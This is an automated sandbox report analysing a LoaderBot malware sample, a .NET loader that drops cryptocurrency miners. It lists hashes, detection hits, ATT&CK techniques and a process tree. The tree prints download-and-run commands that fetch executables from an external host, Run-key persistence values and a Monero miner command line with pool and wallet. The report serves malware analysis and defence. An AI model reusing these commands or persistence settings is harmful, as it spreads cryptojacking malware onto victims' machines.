loaderbot | 4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c

Analysis

max time kernel
151s
max time network
148s
platform
windows10_x64
resource
win10-en-20211208
submitted
10/01/2022, 08:28

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General

Target

136860e019115c0eefd8cf669dd8963e.exe
Size

349KB
MD5

136860e019115c0eefd8cf669dd8963e
SHA1

fa99887f95f5e0fe48e37c2d464eb56ef1619031
SHA256

4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c
SHA512

d5fa4175cc0d4a81325f693034e216e6122a4fe551a362f449ad21c5af757fc7f3f75fcaeacf3e7bbe393e2708d371c46ae16f9b8b5762fb9836d8397bf973e3

Score

10^/10

loaderbot loader miner persistence upx

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot

LoaderBot executable 3 IoCs

resource	yara_rule
behavioral2/memory/608-148-0x0000000000BD0000-0x000000000102B000-memory.dmp	loaderbot
behavioral2/memory/608-154-0x0000000000BD0000-0x000000000102B000-memory.dmp	loaderbot
behavioral2/memory/608-155-0x0000000000BD0000-0x000000000102B000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	2460	WScript.exe

Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
3364	extd.exe
432	extd.exe
3068	setup1.exe
1584	extd.exe
1040	setup2.exe
3284	extd.exe
608	setup3.exe
720	extd.exe
3100	Driver.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001ab16-118.dat	upx
behavioral2/files/0x000500000001ab16-119.dat	upx
behavioral2/files/0x000500000001ab16-124.dat	upx
behavioral2/files/0x000500000001ab16-129.dat	upx
behavioral2/files/0x000500000001ab16-135.dat	upx
behavioral2/files/0x000500000001ab16-149.dat	upx

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup3.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup3.exe"	setup3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1040	setup2.exe
608	setup3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3740	3068	WerFault.exe	74

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1040	setup2.exe
1040	setup2.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
3740	WerFault.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe
608	setup3.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
628	Process not Found

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeRestorePrivilege	3740	WerFault.exe
Token: SeBackupPrivilege	3740	WerFault.exe
Token: SeDebugPrivilege	3740	WerFault.exe
Token: SeDebugPrivilege	1040	setup2.exe
Token: SeDebugPrivilege	608	setup3.exe
Token: SeLockMemoryPrivilege	3100	Driver.exe
Token: SeLockMemoryPrivilege	3100	Driver.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2496 wrote to memory of 3844	2496	136860e019115c0eefd8cf669dd8963e.exe	69
PID 2496 wrote to memory of 3844	2496	136860e019115c0eefd8cf669dd8963e.exe	69
PID 3844 wrote to memory of 3364	3844	cmd.exe	70
PID 3844 wrote to memory of 3364	3844	cmd.exe	70
PID 3844 wrote to memory of 3364	3844	cmd.exe	70
PID 3844 wrote to memory of 2460	3844	cmd.exe	71
PID 3844 wrote to memory of 2460	3844	cmd.exe	71
PID 3844 wrote to memory of 432	3844	cmd.exe	72
PID 3844 wrote to memory of 432	3844	cmd.exe	72
PID 3844 wrote to memory of 432	3844	cmd.exe	72
PID 3844 wrote to memory of 3068	3844	cmd.exe	74
PID 3844 wrote to memory of 3068	3844	cmd.exe	74
PID 3844 wrote to memory of 3068	3844	cmd.exe	74
PID 3844 wrote to memory of 1584	3844	cmd.exe	75
PID 3844 wrote to memory of 1584	3844	cmd.exe	75
PID 3844 wrote to memory of 1584	3844	cmd.exe	75
PID 3844 wrote to memory of 1040	3844	cmd.exe	78
PID 3844 wrote to memory of 1040	3844	cmd.exe	78
PID 3844 wrote to memory of 1040	3844	cmd.exe	78
PID 3844 wrote to memory of 3284	3844	cmd.exe	79
PID 3844 wrote to memory of 3284	3844	cmd.exe	79
PID 3844 wrote to memory of 3284	3844	cmd.exe	79
PID 3844 wrote to memory of 608	3844	cmd.exe	80
PID 3844 wrote to memory of 608	3844	cmd.exe	80
PID 3844 wrote to memory of 608	3844	cmd.exe	80
PID 3844 wrote to memory of 720	3844	cmd.exe	81
PID 3844 wrote to memory of 720	3844	cmd.exe	81
PID 3844 wrote to memory of 720	3844	cmd.exe	81
PID 608 wrote to memory of 3100	608	setup3.exe	83
PID 608 wrote to memory of 3100	608	setup3.exe	83

C:\Users\Admin\AppData\Local\Temp\136860e019115c0eefd8cf669dd8963e.exe
"C:\Users\Admin\AppData\Local\Temp\136860e019115c0eefd8cf669dd8963e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\9907.bat C:\Users\Admin\AppData\Local\Temp\136860e019115c0eefd8cf669dd8963e.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3364
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31365\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:2460
- - C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:432
- - C:\Users\Admin\AppData\Local\Temp\31365\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    PID:3068
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3068 -s 412
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3740
- - C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1584
- - C:\Users\Admin\AppData\Local\Temp\31365\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1040
- - C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3284
- - C:\Users\Admin\AppData\Local\Temp\31365\setup3.exe
    setup3.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:608
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3100
- - C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9905.tmp\9906.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:720

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/608-157-0x0000000074DB0000-0x0000000075334000-memory.dmp

Filesize
5.5MB

Download
memory/608-150-0x0000000002F30000-0x0000000002F75000-memory.dmp

Filesize
276KB

Download
memory/608-166-0x0000000005B20000-0x0000000005B21000-memory.dmp

Filesize
4KB

Download
memory/608-155-0x0000000000BD0000-0x000000000102B000-memory.dmp

Filesize
4.4MB

Download
memory/608-154-0x0000000000BD0000-0x000000000102B000-memory.dmp

Filesize
4.4MB

Download
memory/608-153-0x0000000075440000-0x0000000075531000-memory.dmp

Filesize
964KB

Download
memory/608-152-0x0000000074930000-0x0000000074AF2000-memory.dmp

Filesize
1.8MB

Download
memory/608-156-0x00000000744C0000-0x0000000074540000-memory.dmp

Filesize
512KB

Download
memory/608-151-0x00000000011F0000-0x00000000011F1000-memory.dmp

Filesize
4KB

Download
memory/608-148-0x0000000000BD0000-0x000000000102B000-memory.dmp

Filesize
4.4MB

Download
memory/608-159-0x0000000076990000-0x0000000077CD8000-memory.dmp

Filesize
19.3MB

Download
memory/608-165-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/1040-142-0x00000000001F0000-0x0000000000252000-memory.dmp

Filesize
392KB

Download
memory/1040-143-0x00000000744C0000-0x0000000074540000-memory.dmp

Filesize
512KB

Download
memory/1040-163-0x00000000059D0000-0x0000000005A62000-memory.dmp

Filesize
584KB

Download
memory/1040-141-0x00000000001F0000-0x0000000000252000-memory.dmp

Filesize
392KB

Download
memory/1040-140-0x0000000075440000-0x0000000075531000-memory.dmp

Filesize
964KB

Download
memory/1040-139-0x0000000002AF0000-0x0000000002B35000-memory.dmp

Filesize
276KB

Download
memory/1040-138-0x0000000074930000-0x0000000074AF2000-memory.dmp

Filesize
1.8MB

Download
memory/1040-137-0x00000000001F0000-0x0000000000252000-memory.dmp

Filesize
392KB

Download
memory/1040-136-0x00000000002B0000-0x00000000002B1000-memory.dmp

Filesize
4KB

Download
memory/1040-162-0x0000000005E30000-0x000000000632E000-memory.dmp

Filesize
5.0MB

Download
memory/1040-158-0x0000000074DB0000-0x0000000075334000-memory.dmp

Filesize
5.5MB

Download
memory/1040-160-0x0000000076990000-0x0000000077CD8000-memory.dmp

Filesize
19.3MB

Download
memory/1040-164-0x0000000000F40000-0x0000000000F4A000-memory.dmp

Filesize
40KB

Download
memory/1040-161-0x0000000005030000-0x0000000005031000-memory.dmp

Filesize
4KB

Download
memory/3068-130-0x0000000000B90000-0x0000000000BF0000-memory.dmp

Filesize
384KB

Download
memory/3100-170-0x00000000001B0000-0x00000000001C4000-memory.dmp

Filesize
80KB

Download
memory/3100-171-0x00000000001E0000-0x0000000000200000-memory.dmp

Filesize
128KB

Download
memory/3100-172-0x00000000004D0000-0x00000000004F0000-memory.dmp

Filesize
128KB

Download